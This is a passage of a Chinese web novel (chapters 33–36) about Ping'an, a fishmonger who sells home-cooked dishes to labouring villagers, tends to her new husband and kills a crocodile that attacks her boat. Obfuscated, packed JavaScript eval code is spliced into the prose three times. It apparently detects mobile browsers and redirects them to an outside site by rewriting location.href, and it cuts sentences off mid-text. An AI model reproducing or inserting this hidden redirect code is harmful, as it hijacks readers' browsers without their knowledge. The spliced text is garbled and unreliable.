今日卖鱼剩下几个鱼头没能卖出，她去方娘子那里砍了几刀白豆腐，本欲给钱，方娘子却道让她拿个鱼头来换就是。 多年邻居，她有时剩下一些鱼身部位都是送了人，方娘子这会提出交换，也是投桃报李，她道谢接受好意，便匆匆关上档口的门。 她出了集市，顺道买了一条五花肉。 今日先做一道梅干菜扣肉再加一道鱼头豆腐汤试试水。这扣肉经放，若是卖不出也不至于心疼，豆腐汤更是没什么成本，只费些柴火。 先前家中的梅干菜还有剩，等过一段时日得了闲，她便再做上一些晒干。 炒熟梅干菜用香料与豆豉调味，将炸出虎皮纹理的肉切成片状整齐码好倒放于碗底，面上铺好梅干菜便可上锅开蒸。 切好的扣肉三肥两瘦，红白分明，若火候得宜，吃起来自然是香气扑鼻，肥而不腻，极其润口。 在等待的时间，鱼头鱼尾随姜片入油锅煸制，待两面焦黄，下入水开始炖煮。 不多时，白色的鱼肉便开始与沸水融为一体，奶白的汤水在氤氲的热气中逐渐显现。 平安用笊篱过滤出鱼刺，这才放入豆腐与盐焖煮。雪白的豆腐在奶白的汤汁中上下翻涌，不过片刻，一碗嫩呼呼、颤巍巍，鲜掉眉毛的鱼头豆腐汤便喷香出炉。 平安倒上一碗试味，豆腐滑嫩细腻，咸鲜香浓，一口爆汁，经过文火炖煮，鱼汤中的鲜味早已通过腾腾热气慢慢焖入豆腐之中。刚出炉的豆腐又烫又嫩，吃上一块，便轻易勾起平安腹中馋虫。 小白闻见香味，早鸡贼地趴在灶房外蹲守。 灰灰这会不知干甚去了，平安早给它们留了两块肉与米饭，鱼则打算给那些狸奴。 它们一个个看着瘦瘦巴巴的，实在可怜。 平安喂了家中狗儿与鸡鸭，又去鱼塘巡视一圈，择了些荷叶回来，这才洗手准备用饭。 他们这湖区，别的不多，就荷叶与芋头叶多，那些人若没自带碗筷，也可拿这个抵抵用。 今日晴光潋滟，服役的村民们正步履蹒跚地卸下身上的肩篓扁担，便见河中泛起清波，一竹篷小船迎面缓缓驶来。 随之而来的还有年轻娘子爽利清脆的声音。 “今日做了些扣肉与鱼汤贩卖，扣肉三文一片，五文两片，鱼汤一文钱一碗，都是新鲜出炉的。” 船儿靠滩，水声愈近，她的声线愈显清丽：“若有哪位邻友想要打个口祭，承蒙您来照顾生意哩！新业开张，今日凡是买两片扣肉的，都送鱼汤一碗。” 说罢，她提着扣肉与鱼汤的罐子健步跃下，三两步跨上石子坡路。 只余河滩一串浅浅的脚印，继续被细浪拍打着。 众人再次见到平安，仍有些稀奇。 这里离村里并不近，一来一回太费功夫，他们没见谁家的娘子来得这么勤快。 33. 杀鱼的第三十三天 诚然她今日是有赚钱的念头在，但却不惹人反感。 毕竟礼貌勤快的小娘子，在哪都吃得开，只是他们不是那么想花钱罢了。 众人虽觉她今日这生意不太成，但也没正面出声。 平安将带来的大锅盖子掀开，锅中迅速飘散出丝丝缕缕的白色雾气。 她动作利索地递给爷爷两碗，木头正欲伸手接过，却被爷爷侧身躲开。 随着平安的动作，扣肉馥郁浓厚的香味便随着袅袅春风四散开。 窖制得当的梅干菜在香料与猪油的滋润下，完美地散发它独特的甘香。 而那鱼汤，汤色雪白细腻，略一摇晃，白嫩嫩的豆腐便在锅中颤颤抖动。 两样菜，一褐一白，那油珠在阳光的照射下泛着诱人七彩的油光，看得人只觉胃也慌，心也烧。 都是做苦力，又偷不得什么懒，临到晌午，这会早已饥肠辘辘。 说句不好听的，便是这会给他们一碗油，都能一眼不眨地喝进去。 在这样的攻势下，一些人肚中的馋虫逐渐蠢蠢欲动，手中干冷的行军粮早已尝不出半点香味。 木头等爷爷回来，才知他是去讨好差头，当下乖巧地将手中盛好的饭菜递给胡水生。 两人并未替平安宣传，只是当着众人的面毫不客气地大口吃肉，大口喝汤。 眼见着那年轻郎君几口干完一碗饭，这会又就着那油润润香喷喷的梅干菜拌饭，许多人当下便觉得这手中的馒头不香了。 三文钱，这市集上的肉也得十几文一斤呢，两个人凑一凑还可以省下一文钱。 管它母老虎不母老虎，这会只要是块肉，他们就能吞进肚。 是以几个年轻汉子对视一眼，相约走到平安跟前。 “给我来两块扣肉。” “好呢，盛惠五文！”开了张，便是好兆头，平安舀上一大勺梅干菜，又给两人各盛上一碗汤。看她这般大方，又并未戳破两人搭伙的心思，那两位汉子也不由羞赧低头。 两人投桃报李，当面便开始吃那热乎乎的扣肉，一口下肚，他们便目瞪口呆，怎生舌齿还未认真品尝，这肉便已滑溜入了胃，只留下满口甘香。 两人砸吧着嘴，想要细细品尝扣肉的回甘。 最终也只得化为一句感慨：“我怎么吃这么快，都忘了细细品尝。” 此话一出，一些之前觉得她做不出什么好东西来的人也开始摇摆起来。这几人与她非亲非故，想来不会特意为她说好话。再看这娘子动作利索，盆碗皆干干净净，应没传闻中那样邋遢懒散。有几人肚中馋虫一翻，眼睛一闭便上前试试水。 虽然打不赢她，但她爷爷不是还在这，想来这泼妇应该不敢做得太难吃。 两人一句话给平安招揽不少生意，木头见状便在一旁开始帮忙盛汤收钱。 “我也要两块。” “来一块尝尝味道。” ...... 在差头睁一只眼闭一只眼的放水下，今日虽累，却是一个好的开始。 不但带去的肉卖了大半，还接了明日几单生意的预定，到明天她就得多煮些米饭了。 平安没猜错，他们这几个村紧挨着镇上，大家兜里还是有些银钱可花的。 今日卖了三十七片扣肉，又零卖出去七碗汤，共收得银钱一百零八文。 刨除买菜的成本与家中柴米油盐，她的利润在六十文左右。 而卖鱼那边，也总共收得二百三十四文，除掉成本也还剩下一百五十文。 算很好了，平安喜滋滋地算完账，留下明日备用的钱，将剩下银钱存入钱罐。 现在她的婚事已经解决，她想尽快还清全部的账。 还完账后每日赚到的钱就都是他们自己的了。 再努力一些，若她能一年攒下三十贯，她便能为爷爷建个新房，将来她的孩子也能住进干干净净的明堂瓦屋。 见自家娘子喜上眉梢，木头弯腰上前。 他替她揉捏肩膀，语气讨好道：“娘子今日可真是厉害，辛苦娘子了。” 平安好心情地回了句：“你与爷爷才是辛苦，我这不值一提。” 得了好，木头眼神微闪，那修长的手指便慢慢开始挪动位置。 一会移至肩颈，一会又隐隐往前试探。 见平安闭目沉默不语，他心下欢喜，手中动作愈发大胆。 平安正想着事，便察觉不对劲，她猛然拽住那只作乱的手，仰头问道： “干嘛？” 她一问，他反而不吱声。 看木头的嘴唇嗫喏半晌，也未吐出半个字，平安索性放开他，继续盘账。等身后半晌不见动静，平安回头望去，却见木头已经独自靠墙躺下。 她起身给他敛好被子，这才轻手轻脚去吹灭桌上的蜡烛。 次日，看着自家娘子照样起床干活，目光不在他身上停留丝毫，木头一怒之下，恨恨地收拾好自己的行装，用完早膳便随胡水生离开。 平安倒是不知他心中这样九曲十八弯，她只当他这两日太过劳累，这才早早歇下。 还是胡水生在半路上看出孙婿心情不佳，便出言劝诫：“安安这孩子是我看着长大的，她人是好的，就是有时候性子倔。若是你在她那受了气，只管同爷爷说，爷爷替你教训她。” 胡水生说是这样说，可平日里他一句重话都不曾对平安说过，又哪里舍得教训她。 但木头听着心里却舒畅许多，不过他想了想两人别扭的由头，这闺阁之事怎好开口与长辈提，实在让人羞恼。 于是忙摇摇头，回道：“娘子对我很好，爷爷您放心。只是我想着娘子这几日实在辛苦，不想她过于操劳，可我实在劝不住她。” 此言一出，立马得到胡水生的肯定：“就是个犟种，跟她爹一样，打定主意的事，谁也拉不住。” 说罢，他叹息着拍了拍木头的肩：“榆明你多担待。” 且不提祖孙两人那边是何等相得无间。 平安这边，却遇到了一位意外之客。 季泽，他一向不喜市集的脏乱，今日踏入档口倒是稀客。 见着平安，他也未提其他，只是语气漠然唤道：“来条鲫鱼。” 平安从善如流寻了条中等大小的给他：“盛惠十一文。” 季泽沉默着掏出钱放在案板上，提着鱼便要转身。 就在平安以为他不会说话时，他动作蓦地停滞，顿道：“我不明白。” “不明白什么？” “我输在了哪里？” “输？”平安打量他一眼，淡淡笑道，“没有庄家，何来输赢？” “看来你确实不明白。” 季泽回头凝视半晌，见她目光淡然，里面不见丝毫情意，他轻轻耸肩，勾起一抹难堪的假笑。 平安心知他既到这里来，定是心有不甘。 可要什么时候，这些男人才明白，她不是物件，不是辗转男人手间，可以被扔来扔去的玩物。 她选择与谁成亲，那是她自己的决定，不是男人之间的输赢。 她是人，不是物。 他既一走，平安也不再多想，她现在每日愁的就是做些什么油水厚实些的肉菜。 集市上的荤菜，也只有猪、鱼便宜，她今日打算做卤肉饭与酒糟鱼。 这两道菜都已半成，倒是比昨日的简单。 之前的卤水她每日都会烧开储存，这会只需将卤水煮沸，待猪肉汆水，洗净血沫后便投可入卤水锅中。考虑到没有素菜，她从地里拔了一把莴苣叶，只待出锅前在单独的卤水里过一遭，便有了油盐滋润。 削完皮的莴苣，她也不浪费，剖出最外面那层粗皮扔掉，剩下一层柔韧翠绿的皮则放 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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见众人围拢，平安赶忙报价：“今日这卤肉三文一勺，五文两勺，酒糟鱼两文一勺。” 价格未变，那些人也并未多言，只道要她勺子多舀一些。克扣之事，平安做不来，除了个别需要照顾的，她都一视同仁。 一些没准备买肉吃的人，这会闻着空气中传来的幽幽卤香，也不禁偷偷咽了咽口水。再看四周吃得喷香的邻人，腹中饥饿之感更甚。张铁柱拖住一个吃肉的邻居，低声问道：“真的好吃？” “好吃。”那邻人埋头扒饭，目不斜视应道。 “好吃好吃，我看你吃狗屎都好吃。”张铁柱瞪了他一眼，不再搭话，他家与郭家是亲戚，之前郭家的和这胡娘子相看失败，回来将她说的一无是处，正巧她名声不佳，众人你一言我一语，直将她描述成一个又懒又凶，好不讲理的剽悍草包。还千叮咛万嘱咐，要他们这些年轻郎君勿要被她那张狐媚子脸骗住，否则娶妻不贤，倒霉三代。 他也一直是这样认为的，可这空气中传来的香味却做不得假，他思来想去，只得背过身去，默默啃起早上带来的馒头。 胡水生拿到饭菜，照例先向差头拜码头，这才返回河堤帮忙。 今日这路边小食摊的客人既有本村人，又有外村人，遇着亲戚，平安都会打得满当一些，但钱依旧照收。 若是一个两个倒无所谓，这村里打着骨头连着筋的亲戚可太多，若一个个都不收钱，那她每日就得倒贴。 今日来了些新客，也少了一些老客。平安还见到了传闻中十二三岁就被迫出来服役的几个小郎君，见得平安，他们一个个虽有些腼腆，但是真的嘴甜又懂礼。 看他们一个个瘦得跟河边的芦苇杆般，她刚刚扬起的唇角也不禁耷拉下来，只得默默给他们多添几块肉。 34. 杀鱼的第三十四天 这阵仗瞧着倒是比昨日还热闹，饶是如此，平安今日的收益也并未较昨日多上多少，但她已心满意足。 安抚了木头几句，平安便收拾东西回家。 家中多的是事情等着她做，一来这些锅碗瓢盆得清洗，二来家中卫生鸡鸭鱼狗也需人照看。 谁想平安正在打扫院子，就听得院外有人在喊：“平安，在家吗？” 是堂姐玉兰的声音，她从小与平安一块长大，可她自嫁到隔壁村后一直与平安少有往来，今日找她不知是为了什么？ “在。”平安朗声应道。 院门咯吱一声响，玉兰倚门朝平安招了招手。 “过来。” 与她那双水灵灵的大眼睛对上，平安提着扫帚，含笑跑步上前。 “咋了？” “我家塘中的芡实这会长得好，那芡实杆我看你最爱吃，今儿来喊你一起去捞上一些。” “等我。”她话音未落，平安已放下扫帚，快速从杂物房中提出一个桶。 看她桶中还放着几尾黄骨鱼，玉兰问道：“你这是做什么？” “有来有往，我的一点心意。” “安安，我是真心要喊你去玩玩的，你不要太客气。” “我知道。”平安笑嘻嘻揽住她胳膊，应道，“做客上门，不能空手去这也是我的心意。走啦！咱们好久没见，路上叙叙旧。” 玉兰说的这个塘不是她婆家的池塘，而是娘家的。 诚然，她即使生了两个孩子，这会婆家也是轮不到她说话，更别提把家中东西送人。 因着早些年平安声名太过显赫，她初嫁时婆家还勒令让她少和她接触。可玉兰能与平安自小玩到一处，那也是有几根反骨，随着她的孩子呱呱落地，她的腰杆挺直起来，也就回得越来越勤。 这会见得平安已然成亲，她便也不再顾忌其它，直接上门。 将鱼给到成伯家后，两人便往湖边赶去。 远远的，两人便望见河对面被一排排竹篱笆和刺骨藤蔓围住的池塘。 去那边需得穿行一座一尺宽，十余米长的石板桥。玉兰率先走去，侧身回头牵住平安的手。 “小心。” “晓得啦，玉兰姐姐。” “你可别，瘆得慌，小时候你不是一贯说你要做姐姐的吗？”玉兰扇了扇脸，转身调侃。 听玉兰说起这事，平安也是老脸一红，她视线游离至潺潺流动的水面，讷讷道：“嗐，别提这些。” 嬉笑间，两人已来到对岸，这边湖网密布，许多村民便在这些池塘里面养鱼，养荷，养芡实，一年到头，总能卖出些银钱。 这芡实杆，一年只有春夏交接之际可以吃到，过季则变老变硬，失了鲜味。这会市集里也有农人贩卖，得十几文一斤，已赶得上肉价，平安虽然想吃，但一直没舍得下手。 饶是莲藕最最纤细脆嫩的藕杆，都没有芡实杆那样水嫩的口感。 只需将杆杆切成段，放些猪油与盐煸炒几下，这样炒出来的芡实杆脆嫩清甜，入口甘香，极其下饭。 两人来到这一片种满芡实的塘边，平安伸出镰刀便开始扒拉最近的芡实叶，这东西全株带刺，一不小心手就得被扎成刺猬。 “小心。”玉兰拉住平安一只手，低声嘱咐。 “知道。”平安三俩下便拨过几株，两人扯了几片桑树叶垫手，拈着叶柄便开始扯。 叶柄既已到手，嫩杆也很快掏出。 看着这杆不够两人分的，近边的芡实亦不好上手，两人便脱掉鞋袜，踩进池塘，伸手进淤泥中开始摸索。 眼看着玉兰还要深入塘心，平安忙道：“够了够了，吃一顿尝尝鲜就得了。” “不碍事。”玉兰将脆杆递给平安，朗声笑道，“接着。” 平安无奈，只得伸手接过。 在摸杆的时候，平安发现四周零星遍布着细小的椭圆状青绿叶片，它尚未冒出水面的嫩叶便是那鲈莼味美的莼菜。这不过半指长的莼菜远看似明前毛尖，近看才知是两侧蜷缩的小荷叶，口感极其细嫩爽滑，即可入药，又可做一盘春日里水乡人家特有的鲜味。 或是清炒，或是用来与小银鱼同炖，都极致鲜美。 平安索性将桶提了下来，摘了一大捧莼菜，这才拉着玉兰上了岸。 待见得对方脸上脏兮的花猫模样，两人相视一笑，嘻嘻哈哈地携手去了河边。 两人在池塘里这一阵泡，双手双脚皆沾满淤泥，在河边洗了半晌，直将清澈的河水洗得一片泥浊，这才勉强能见人。 也幸亏最近徭役，湖边人少，要不然少不得又得被一顿说。 因着玉兰家孩子还小，离不得人，两人约定有空再玩，便一人分了一把芡实杆与莼菜各自离去。 新鲜的芡实杆细嫩白净，通体修长，不过成人小拇指粗细，模样与藕杆极为相似，却比藕杆水嫩三分。 将晚上要炒的菜备上，平安便开始复盘她今日的收入。 今日卖鱼，刨除房租与一些进鱼成本，她净赚一百七十文，生意算是不错。支摊那边，收益虽比昨日多上几十文，可她的成本也高了起来，两相抵扣之下，净利应是五十多文。 随着哗啦清脆的铜钱声响，平安脑中迅速算出今日所得。 她方欲将铜钱锁起，就听得外边木头的声音：“娘子，开门啊！” “汪汪汪！”灰灰听得熟悉的声音，兴奋地在门框旁不停甩尾。 “来了。”平安将奁盒迅速合拢，快步走向院中。 她尚未出声，木头便满脸疲色地念叨：“太累了，又热又累，我得好好歇歇。”胡水生则慢悠悠跟在他身后进了门。 今日阳光确实赤灼，他们干着重体力活，少不得流汗，整日被太阳晒着，想来更加吃亏。平安瞧着，木头那一身皮子都没有以前白皙了。 平安取出泡好的金银花茶，给他和爷爷各倒上一杯。 这茶是用金银花、菊花、甘草、枸杞文火熬煮，清热又解暑，虽还未到夏季，但晴日里已然出现暑气，喝上一些散散热正好。 木头这会也顾不得什么风度，猛灌了一大口茶，这才擦了擦嘴，耸着肩望着门外叹气。 这会不用他说话，平安也知他在想些什么。 若是她没有这一身力气，只要想到还有漫长的二十几天徭役要过，她也觉得前途一片黑暗。 思及此，平安看向胡水生，问道：“爷爷，你们每日到那的时间定好了吗？一直是卯时中？” 胡水生放下水杯，点点头：“定好了，现在天亮得愈发早，也都看得清路了。” 平安点点头：“既然这样，明日我送你们出发，这样你们就能省些功夫。” “不成。”胡水生断然拒绝。 木头瞄了眼平安，又看了眼爷爷，眼珠滴溜半晌，却没作声。 “爷爷。”平安劝道，“这对我而言不过是顺路的小事，你们白日里干那样多的重活，我心里看着实在难受。” “你这孩子。” “要不，就送一段吧，送到镇上，剩下的我和爷爷一起走。”木头小声提议。 平安也赶忙应和，两人劝了半天，胡水生这才点头同意。 今日的卤肉已经卖光，晚上平安便切了一段冬日自家腌制的腊肠。 这肠色泽酱红，腊香浓郁，切成薄片后更是外焦里嫩，口□□汁。 若是腌制得宜的腊肠，既无肥肠的气味，又保留了肥肠独有的口感与油脂。 切上一片，便可知这腊肠好坏，若是一刀下去，不软不硬，则说明火候到位，水分适中。 取出细观，若能在酱色的肠圈内看见一层薄可透光的白色油脂，那这腊肠便是上品。 切好的腊肠过水焯除杂质与多余盐分，沥干备用。 另起锅下芥辣蒜末，爆香后入腊肠翻炒，炒至腊肠油色红润，香味溢出 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14272908|149090||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ，便可撒上些许蒜段出锅。 至于素菜，便清炒了个芡实杆，撒上些许葱花做配，这清炒出来的芡实杆依旧白嫩水灵，看着清澈干净。莼菜则是与少许蒜末同炒，大火翻炒至锅气烧出，莼菜亦软滑熟透，便可盛出。 莼菜平安留了一半，明日若是能捞上小银鱼，便用小银鱼搭配，若是捞不上，那便再说。 想了想爷爷他们的辛苦，平安又敲了两个鸡蛋做了个金黄蓬松的蛋皮汤。 桌上四样菜，有三样是木头未曾见过的。 看他满脸好奇，平安温声解释：“这腊肠是自家做的，正面反面翻来覆去洗了好多遍。你若是介意就不吃，若是可以接受就试试。” 见木头犹豫，她又指着素菜介绍：“这是今日池塘里新捞上的芡实嫩杆与莼菜，很是鲜美甘甜，你试试。” “腊肠？猪大肠？”木头夹了一片好奇问道。 “是啊。”胡水生接话道，“大冬天的，安安洗啊搓，又是用灰面又是用酒，洗了好多盆水，我看她手都冻得通红，要她少弄点，她也倔，咬着牙将这东西洗得干干净净。” 他夹了一块放进口中，抿了口药酒，继续说道：“洗完以后便搓盐腌制，腌制几天后悬挂晾晒，晒得那油滋滋往下滴，那一块地都滴得油汪汪的。”说起这个，他颇为心疼地咂咂嘴。 “晒干后呢？”木头问。 “晒干后就用将米糠、橘皮、柏枝、枣木一同放进大缸燃烧，将腊肠和腊肉腊鱼腊鸡一起架在上层，封盖熏制，熏上半日就是你现在见到的腊肠了。” 平安看着木头小心翼翼尝试的模样，心下不由发笑，若是有味，不需别人问，她自己便丢了喂狗了。 正是自己做的，没有怪味没有砂石，干净喷香，她才爱吃。 果不其然，木头刚吃一口，便眼前一亮，连着扒了好几口饭。 待米饭咽下，他打了个饱嗝，还不忘夸一句：“好吃，真好吃啊，娘子。” “这东西怎么这么神奇，外焦里嫩，又有嚼劲，口□□汁却不油腻。” “这就神奇了？”平安好笑地指了指那两盆素菜，“试试这个。” 有了前车之鉴，木头这会也不敢小看这两盆菜，他一样夹了一些试味，果真如娘子说的那样清甜、嫩滑。芡实杆嫩生生、脆卜卜、水灵灵，入口清香甘甜，而莼菜入口滑嫩细腻，胶质浓厚，口感亦是稀奇。 吃了这些，他才恍觉自己之前吃的青菜有多粗糙，他的目光不由自主地移向平安。 “别想了，就这段时间有，过季就会变味。”顿了顿，她找补道，“你若喜欢，这段时间多做些。” 看娘子识破自己心中想法，木头嘿嘿一声，继续吃饭，这东西，实在是太香太下饭了，他明天还想吃。 平安当然如了他心中所愿，她翻出这腊肠就是为了凑明日一个荤菜，她想明日卖完去大河走一遭。 晚间平安替他擦药，看着他衣领处被晒出红印，肩上淤青越显，而昨日被压伤的地方愈发红肿，这是旧伤未愈又添了新伤。 往常在家中砍几根柴都要呼累的人，她不知他是怎么熬下来的，这会平安只觉心中沉甸甸，一股隐秘又酸涩的情绪从胸腔直通全身。 木头看自家娘子眼眶莫名通红，忙伸手替她擦拭。 粗粝的指腹刚抚上脸颊，平安立马回了神，她慌乱地撇过头，用手背按了按眼睛。 “没事的。”木头温声安抚。 否认的话刚想出口，平安抬眸便对上他亮晶晶的眼睛，心中压抑多时的情绪瞬间爆发，她吸了吸鼻子，抱住木头。 “对不住。” 这可是娘子第一回主动抱他，木头心下喜不自胜，豪言壮语信手拈来：“我不辛苦，有娘子陪着我，让我做什么都愿意。” “真的？”平安哑声问道。 “真的。” “傻瓜。” “那你就是傻瓜娘子。” 35. 杀鱼的第三十五天 连着数日晴好，路边的花草树木长得愈发葱茏。 只是苦了地里的庄稼和需服徭役的村民。 为图方便，平安今日做了一道爆炒腊肠，还有一道蒜香落苏。 如今地里的落苏陆续成熟，用来凑个菜倒是上好之选。 炒制落苏费油费柴不说，入口还易生硬，在平安看来，蒸制后再调味最佳。 将地里新鲜采摘的紫色落苏一分为四，切成大小均匀的长条。 表面撒上些许盐，上蒸笼蒸制。 待蒸笼上汽，等个一炷香，脆硬的落苏便脱水变软，化为绵软的落苏条。 锅中倒入蒜末葱花煸出香味，下落苏，倒酱油、香油、醋调味翻拌即可出锅。若喜食凉菜，则无需过油翻拌，只需将配料倒入落苏碗中翻拌均匀，再泼上小勺热油润味即可。 如此做出的落苏酸辣鲜香，既保有落苏本有的清香，入口亦绵软细腻。一口软软的落苏裹挟着酸香的汤汁入肚，鲜得可连下好几口饭。 如今天气渐热，吃些清爽开胃的菜正正好。 出乎平安意料，今日她的生意比昨日好上不少。不但老客留存高，还来了好些之前没光顾过的新客。 纵使她多备了些份量，也抵不上客流的增长。 卖到最后，还有好几个人没买到。 眼看着自己今日又要啃食干粮，一人不悦道：“你这做生意的，也不多备些东西。” 平安尚未开口，邻村的小郎君便接话道：“胡娘子这一向都是提前一日订饭的，你若明天也想要，今天同她说好就成。” “正是。”木头也维护道，“小本生意，若是卖不完就得亏本，还请兄弟多多体谅。” 说罢他朝平安略一挑眉，暗中拉住她的手。 平安朝他瞥去，两人相视一笑。 买到一勺荤菜的张铁柱旁观全程，默默收回打量的视线。的确与别人做的菜不一样，更香，更干净，往年他吃腊肠少不得吃出几口磨牙的沙子，带着一股难闻的柴火味，今日这腊肠却干干净净，油水丰润，快把他给香迷糊了。 原来前几日大家伙没撒谎，是真的香，早知如此，早知如此，他还白白忍了几天的饿，他遗憾地瞥了眼空荡荡的锅，找了个地开始安静吃起来。 连着几天生意下来，平安也与这些客人相熟了些。 统计好明日要带的米饭份量后，平安与爷爷他们打过招呼，便收拾东西，直往大河赶去。 她今日带了菜枯、蚯蚓和一些泥鳅，希望能捞上一些档口需要的鱼。 若是不成，她就得去相熟的鱼贩子那边进上一些。 至于那个码头，要不是禁渔期有规定，谁会爱去。 掠过玉溪河畔两岸的垂柳，待见得迎面而来的巍峨老树，平安便知已近洛江。 洛江河宽数百米，水势磅礴，每至两河交汇处，船身便跌宕摇晃不止，平安稳住心神，一手撑杆，一手握紧船舵。 将船小心挪靠河岸，平安方放下心来，行船半晌，已驶入大河数里。 这里远离码头港口，鱼群密集，只可惜时辰不佳，鱼群这会不甚活跃。 若是哪日木头能替她守上两日档口，她定要清早捞上一船最鲜嫩的河鱼去码头甩卖。 平安寻了棵树遮阴，见渔船随着水流缓缓朝东漂晃，这才取出水壶滋润干涸已久的喉咙。 仰头间，只见日光昭昭，碧空如洗，云天相交辉映，倒映在清澈的河面上。远远望去，水天一色，远处的河水都变得深蓝又静谧。 随着阵阵清波漾起，疏影霎时迷离，花瓣随波飘散，涟漪上瞬间缀满粼粼星光。 欣赏完此番潋滟美景，平安眼尖地发现河面不时冒出咕噜的汽泡。 她扔下饵食，静待片刻后抛下渔网。 拉网时她便感觉这网吃水重，等拽上来一看，这肥硕银白的长条，不是值钱的翘嘴是什么。 一条、两条、三条......光是七八斤的大鱼便有五条，更别提那两三斤的小鱼。 这一网可发了，平安喜不自胜，市集上一斤翘嘴价格可得十五文往上，这大鱼若无富户接手，养上几天，镇上也吃不下。看来，她今日是必得去一趟那汉云码头了。 平安赶忙给船舱加水，将这些翘嘴放了进去。 这一网得了丰收后，许是四周的鱼儿都受了惊，平安连下三网都几无所获。 看着空了半截的饵料桶，平安只得沿河而下，继续寻找新的目标。 接下来几网，因是撒的素饵，上来的皆是草鱼、鲫鱼这些素食、杂食鱼类。 有就成，这些常见的鱼在档口最受欢迎。 眼见着日渐西斜，平安望了眼远处狭窄的河湾，决定换到江心去扔下最后一点荤饵。 她将压网的石块绑好，饵料塞入渔网的饵袋之中，这才将渔网慢慢下沉。 等待的时间很是无聊，平安便观察起四周的环境来。 这里已然接近云梦湖，因着附近河湾曲折，滩涂沼泽众多，四周一向人烟稀少。 可看着看着，平安便渐渐察觉不对劲，这里，似乎安静地有些过分。 往来商船变少不提，连空中叽叽喳喳的鸟儿也少见踪影。 恰在此时，两岸的芦苇荡无风自动。 思及此，平安迅速收拢渔网，一边观察前方，一边将船慢慢往后偏移。 待飘离数十米，平安方将鱼提出水面。 这里面除了一些虾蟹外，竟意外出现好几条鳜鱼。 就在她欣喜之际，芦苇荡中再度传来动静，不过两息，水面便出现阵阵密集而尖锐的波浪，直朝她的方向袭来。 不好，平安快速将渔网扔进船舱，竹竿在水面轻点，立即将船身调头。 顾不得其它，她拿起船桨便逆流返航。 平安这会只得庆幸，她力气大，这会划起船来，速度也是飞快。 一路劲风呼呼刮过，平安凝神屏气，手下动作不停，这样的速度，即使是善水的水匪，也应追不上才是。 又凝神观察片刻，见得四周好似再无动静，平安方长吁一口气。 “砰！” 船被一阵巨力撞得几近翻覆。 平安手一抖，忙不迭稳住船身，这是什么东西？ 因这动静，她后背惊出一身冷汗，再来几下，她这小船可不够它撞的。 她压桨更深，分神往周边扫去，果真见水下有一庞然巨物正幽幽注视着她。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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来不及想船上的鱼，那鳄鱼便破水甩尾扑来。 这家伙，看着粗笨，动作这般灵巧，平安望了眼渔船，提着鱼叉沿河岸往东逃离。 眼见这鳄鱼越来越近，平安的心也越来越静，离她的船远些才好。 待见得它再度喷着粗气，昂首张嘴示威，平安抓准时机，手中鱼叉如箭矢般直插向它嘴中。 “成了！”她心中的惊喜尚未褪却，却见这鳄鱼吃痛甩开鱼叉就往河里逃。 混浊的河面瞬间染上一层红色血晕，平安岂能如它所愿，她的船、她的鱼都因为这家伙损失不小，今日不把它留下，她才是折了夫人又赔兵。 她飞身而上，赶在它遁走之前拖拽住它快入水的尾巴。 生路被阻，鳄鱼发怒大力甩尾。 若是普通人，只怕被一尾伤得不轻，只可惜，它今日碰到的人是她。 察觉手中的阻力，平安双手愈发拽紧。 就在她欲再度发力时，那鳄鱼回首一枪，咧嘴便朝平安手臂咬来。 36. 杀鱼的第三十六天 眼见着那张长满巨齿的血盆大口越来越近，平安瞳孔微震，心跳如雷。 刹那间，她只觉一股热流从后背腾起，直冲四肢，大脑尚未反应过来，手已下意识抓起鳄鱼尾巴大力朝反方向挥去。 随着一声巨响，鳄鱼被重重摔落在地。 就是此刻，平安抓住机会，俯冲上前，一手掐紧鳄鱼头部，一手重重挥拳。 这家伙皮糙肉厚，力大又蛮横，她绝不能再给它任何反击的机会。这一刻，求生的本能盖过一切，她手下拳头如雨点般砸下，直至身下挣扎的鳄鱼再无动静，她方深吸一口气，站直身体。 揉了揉通红的手背，平安踢了脚死透的鳄鱼，踱步收回长绳，她将船拉近泊岸，这才跃上船去查看船身。 船舱与船头木板皆有损耗，她得快些把船带去修好，也不知道这东西卖出去能不能弥补她今日的损失。 怕它附近还有同类，这地方不宜久留。将鱼叉与砍刀收好，平安提起鳄鱼扔上船头，便往码头赶去。 这汉云码头是县里最大的农贸市集聚集地，她这鳄鱼说不定在那也能找到买家。 “胡娘子，好久不见。” 小船方悠悠靠岸，便听得有人唤。平安闻声望去，竟是齐鸣。 他今日着一袭松绿色锦缎直裰，头上亦是玉冠华带，看着比在玉溪镇不知要矜贵几何。 平安颔首，低声应道：“齐郎君。” 齐鸣的目光在她周匝扫视，待见得她船头那一团绿色时，眸光不由闪烁。 “这是？” 平安将遮挡的草叶扯掉，围观众人瞬间倒吸一口凉气。 “鳄鱼啊！！！快跑。” “在哪，在哪？” 一时间码头人仰马翻，混乱不已。 平安忙出声解释：“已经死了，大家别害怕。” 见那东西半晌没得动静，众人这才安静下来。 “乖乖，你这小娘子从哪弄来的这东西？” “看着可真可怖。” 齐鸣也问道：“你拿这东西是打算干嘛？” “我想找个卖家。”平安指着破损的船头叹道，“当时我在河边歇息，这东西把我船给拍烂，从水边一跃而起就要扑我。幸好岸边有几块锐石，我情急之下拿起石头就是一顿猛砸，这才侥幸从它口中逃生。” “若是有人收，我就拿这钱将船给补补。” 